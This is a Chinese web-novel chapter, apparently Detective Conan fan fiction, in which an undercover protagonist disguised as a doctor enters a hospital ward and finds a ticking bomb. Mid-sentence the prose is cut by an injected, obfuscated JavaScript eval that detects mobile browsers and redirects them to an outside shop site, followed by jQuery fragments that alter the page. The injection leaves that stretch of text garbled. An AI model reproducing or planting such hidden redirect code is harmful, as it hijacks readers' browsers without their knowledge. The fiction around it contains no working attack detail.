他抬眸看着窗外,嘴角还挂着惯常的轻佻笑意,眼神却彻底冷淡下来:
“因为他们毕竟是热心的正派人士嘛,莽撞抓捕的话,万一鱼死网破就完蛋啦!”
“——面对一个擅长把所有人都炸飞的抓捕对象,警察先生们都会这么想吧?”
17.十七颗头孢
二十分钟后,米花中心医院。
清晨的日光倾泻而入,将一楼大厅照得明亮温暖。挂号处排着长队,候诊区的椅子上坐满了人,一切看起来都稀疏平常。
——如果忽略掉那些伪装成病人的公安,以及混在家属中的FBI探员的话。
“确认目标位于顶楼VIP病房区。”
停在路边的黑色商务车内,风见裕也低声念着才传来的资料:
“加拿大威士忌,组织里玩炸|弹的高手。据说性子阴晴不定,极度危险,这次要抓捕的对象竟然是这样的狠角色么……”
坐在后排,黑泽阵点燃一支烟,缓缓眯起眼,“包围圈收拢到哪一步了?”
“已经控制了一楼到六楼的所有步梯口。至于顶楼的VIP病房区,除了走楼梯以外,只有乘坐手术专用电梯进出这一条路,所以我们只对手术专用电梯进行监视,这倒不是问题。”
风见裕也从资料上移开视线,本就皱起的眉眼愈发苦大仇深:
“现在的重点是,FBI分析了加拿大的过往行为,严重怀疑对方在医院事先设置了引|爆装置。一旦强攻——”
“就会把整栋楼炸上天?”黑泽阵嗤了一声。
“对。”
风见裕也一推眼镜,“到那时,最重要的公众安全就会受到威胁,警方的公信力也会受损。所以FBI提议不采取强攻,而是按照那层的住院名单一个个查,以免加拿大狗急跳墙。”
“呵,那他们派去组织的卧底?”
刺猬头公安冷汗下来了,“呃,听说还在想办法脱离组织外围成员的身份……”
外围成员根本没办法接触到什么情报,更妄论接触加拿大威士忌那种等级的干部。
对于FBI这一手‘好牌’,黑泽阵冷笑:
“一群废物。”
卧底是废物,负责追踪组织的人也是废物。从美国一路闻着味儿追到日本,结果却不敢轻举妄动,就这点胆量也好意思提联合行动?
绑在一起都不如青岛纯生省心。
银发从帽檐下晃出几缕,黑泽阵看向车窗外,明显不想再过多介入,风见裕也见状反而松了口气。
虽说黑泽先生的能力格外强劲,自己也很崇拜对方,可上头却对黑泽先生的性格始终不看好,正愁找不到挑刺的地方敲打,这次就这么配合FBI倒也不错。
毕竟,抓捕加拿大纯属突发事件,并非公安安排的行动,去组织卧底的青岛先生又不会来——
“滴滴。”
思绪被打断,风见裕也的手机震了一下。他低头看了眼,下一秒瞳孔地震!
风见裕也抬高声音:“黑泽先生…不好了,是青岛先生!”
“我们的人传来了照片,青岛先生也出现在了医院里!!”
*
“帮忙按一下四层,谢谢。”
朝挤在电梯前的人微微颔首,头孢站进普通电梯。
十分钟前,萩原研二将那辆骚包的跑车停好,就塞给他一只耳机,挤眉弄眼道:
“目标是六层VIP病房的1207床。医院的步梯应该已经被看管起来了,电梯的话,只有手术专用电梯通向那里,大概也被管住了,你要上下有些麻烦,但实在不行我们还有内应。”
“内应?”头孢显然不认为耳机能叫内应。
“是哦,内应~”萩原研二笑得意味深长,“是伏特加啦,你们应该还没见过面。”
“他的手自告奋勇地骨折了,一小时前办理了VIP病房1205号的入住手续,那里的病人想要上下的话,就算是警察也没有道理阻拦吧。”
对自告奋勇这个词感到奇怪,可头孢更在意另一点,“那我要接应的那个菌怎么不自己下来?”
“因为伏特加的身份经得起推敲,但那个人不行啦。可就算如此,伏特加也是次一级的选择。”
萩原研二早就料到他会这么问,食指晃晃,“所以我的建议是,按照我给你的假身份,伪装成骨科实习医生上楼,上去后是偷梁换柱还是怎样都随你。”
“当然,你也可以伪装成伏特加的家属,甚至清洁工,只要你能躲过搜查,把人带下来——我会全程关注你的。”
他的计划乍看松散,实则给了青岛纯生发挥的空间。
与波本一样,田纳西也是个情报专家,擅于分析。就算他并非头孢的直系上司,却也能根据对方的能力与性格分配任务,因此头孢得到了和他考核任务差不多的工作内容。
就是这位‘监考官’明显比波本的掌控欲更强亿点。
“呐~你现在到哪里了呢,医生先生?”
拿着假资料和工牌一路畅通无阻,头孢踏出电梯,直奔四层的骨科病房,第六次汇报自己所在的位置:
“骨科病房。”
他决定先去和主任以及同事混个脸熟,这样警察不好挑他的破绽。
如今再联系黑泽阵不仅不是好的选择,还会提高暴露的风险。是以头孢打算拿了这份功劳,与伏特加配合,用来巩固自己在病原体组织的地位。
反正这次警方行动也是FBI牵的头,小阵那边完全可以划水不管。
对于他的解释,已经苏醒的系统哼唧出声:【也不错。不过你这不是能好好说伏特加这种代号吗,怎么张口总是这个菌那个菌。】
天知道每次听见那些个名字,它都好出戏啊!完全没办法把那群危险分子的脸和名字对在一起!
头孢义正词严:【因为没有见面,我没办法根据加拿大的特点进行命名。】
系统:【…严谨得不是地方吧!】
说话间,头孢走到主任办公室门前。他整理了一下别在胸前的工牌,推门而入。
办公室里,一名戴着黑框眼镜的老人正在看片子,听到开门声慢吞吞移开视线:“别着急,查房要二十分钟后……嗯?你是新来的?”
他推推眼镜,“是叫……”
“乌苏纯生。”头孢颔首。
主任:?
不是,怎么听上去怪怪的?这是人名吗?
本着不对他人名字指指点点的礼貌,发型颇有地中海风格的主任又问了头孢的毕业学校,在得到了东大医学部的答案后点点头:
“哦哦,东大的啊,不错!”
骨科主任忽然想起什么,“对了,你力气怎么样?虽然这段时间只是实习,但你迟早要上台,我们科室的人力气小了可不行。”
他打量了一圈白发青年虽高却并不健壮的身板,略有些怀疑。
头孢回答得格外诚实:“应该可以,我在美国读硕士时跟过台。”
他在美国那段时间一拳一个杂菌,战绩斐然,但很可惜这些杂菌没有一只是任务清单上的。
“那就好!”骨科主任满意了,“美国那边的骨科确实比我们这边暴力,有时候还要拆人呢,没点力气还真干不了这行。”
“这样,来都来了,你先去VIP病房帮我跑个腿吧。就在顶楼,需要走手术专用电梯,你跟守电梯的说一声就行。”
他说着将一叠病历单抽出来,交给头孢,“这是1201-1207床病人的病历,给护士站就成。”
没料到会如此顺利,头孢礼貌告别,趁着等电梯的功夫快速扫了眼病历。
【1205床是手臂骨折,1207床是腓骨骨折么……】
也就是说1207床不能走路,要他背着才能离开?
背杂菌啊……针管好痒,好像要自己动了。
面无表情地搓搓手臂,头孢压下想给菌来一针的冲动进了电梯,与守在电梯里的男性对上视线,抬了下手里的病历。
“六层,谢谢。”
那人端详他一圈,似乎有些迟疑,可还是按了。
系统开始担心:【这人好像是伪装的警察吧。他们会不会已经把楼上也控制住了,就等我们自投罗网?】
【无碍,】头孢很淡定,【实在不行……】
【嗯嗯!】
【实在不行我会和免疫细胞狼狈为奸,求他们放过不知名杂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210449|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菌。】
系统:【?】
狼狈为奸不是这么用的吧!
头孢不语,只一味地注视着电梯直达顶楼,走出来迅速扫视整个走廊。
这一层中间是护士站,左右两侧各有十二个病房,1205和1207都在最左边。
并未将病历交给护士站,白发青年径直走向1205房,推门而入,一股消毒水味扑面而来。
病床上坐着一个体型魁梧的寸头男人,手臂上已经打了石膏。听到开门声,那人警惕地抬头:
“你……”
“青岛纯生,来接人的。”头孢关上门回答,看了眼床尾的铭牌,是病历上的假名没错,“你是伏特加?”
伏特加明显松了口气:“是我,你就是田纳西说要来支援大哥的医生啊。”
头孢颔首,“听说你自告奋勇骨折了,我先来看看。”
伏特加一怔,有些心虚地挠头,“田纳西连这个都说吗……那你等会儿去隔壁千万别告诉大哥啊。”
头孢:?
“就是我故意骨折的事,别告诉他。”伏特加解释。
【啊?】系统惊了:【等等,故意的?这个自告奋勇是字面意思?】
这什么忠犬啊!
头孢也没料到这一点,疑惑地问:“为什么要故意受伤?”
“为什么……这不是得有个理由住进来吗。”伏特加愣了一下,抬了抬打石膏的手臂,“装病容易被识破,最好的办法就是真有病,不然怎么骗过那帮条子?”
“而且,如果没有正当理由,就比如‘正好’骨折了住院,大哥肯定不会同意我来涉险的。”
“……是么,我明白了。”
在伏特加困惑的目光中,头孢干脆利落地转身离开,于门前轻声叮嘱:“记得坐到靠窗的床边,方便行动。”
伏特加:啊?
难道不是靠门更方便吗?
系统也纳闷:【靠门才方便行动吧,而且你又明白了什么?】
头孢停在1207门口,【明白了四方体菌口中的大哥真是个好菌。】
系统:??
好菌是什么?四方体菌又是什么鬼?
难以理解头孢对菌的定义,系统忽略掉这一点,【好吧,那宿主你不进去吗?】
头孢沉默了:【其实从站在隔壁开始,我就在听这边的动静。心跳、呼吸……】
【然后呢?】系统好奇。
头孢接着道:【然后听到有什么东西在嘀嘀响,频率很稳定,但不像仪器的声音。】
想到门内是一只好菌,头孢破天荒有些担心对方的安危。于是他伸出手,轻轻推开了门。
病房里没开灯,窗帘也只拉开一条缝,日光从那道缝隙里挤进来,在地板上切出一道狭长的光带,将室内割裂成光暗两面。
而在背光面有一把轮椅,轮椅上坐了一个男人。
他面朝大门,左侧小腿打了石膏,左手搭在膝盖上,右手捏着一根烟。
未至冬月,可男人手上却戴着手套,脖子上也系着一条红围巾,偏偏是反着戴,远远看去像一道自脖颈勒出的血痕。
再往上看,黑色卷发凌乱地搭在额前,单边眼罩遮住男人小半边脸,右眼轻轻闭着隐在阴影里。
听到推门声,卷发男人抬起头——
睁开仅有一只的、凫青色的眼。
见到他,卷发男人没有像头孢见过的其他组织成员那样,将烟头搜集起来,而是把烟随手丢在地上,慢条斯理地将他从上到下扫了一遍,开口嗓音沙哑,似笑非笑:
“青岛纯生?”
“…是我。”
头孢三步并两步跨进病房,反手关上门。
他没再看卷发男人,而是将注意力悉数落在对方怀里,那个正在嘀嘀作响的黑盒子上。
——那是一枚炸|弹。
——一枚倒计时仅剩一分钟的炸|弹。
00:59。
00:58。
00:57……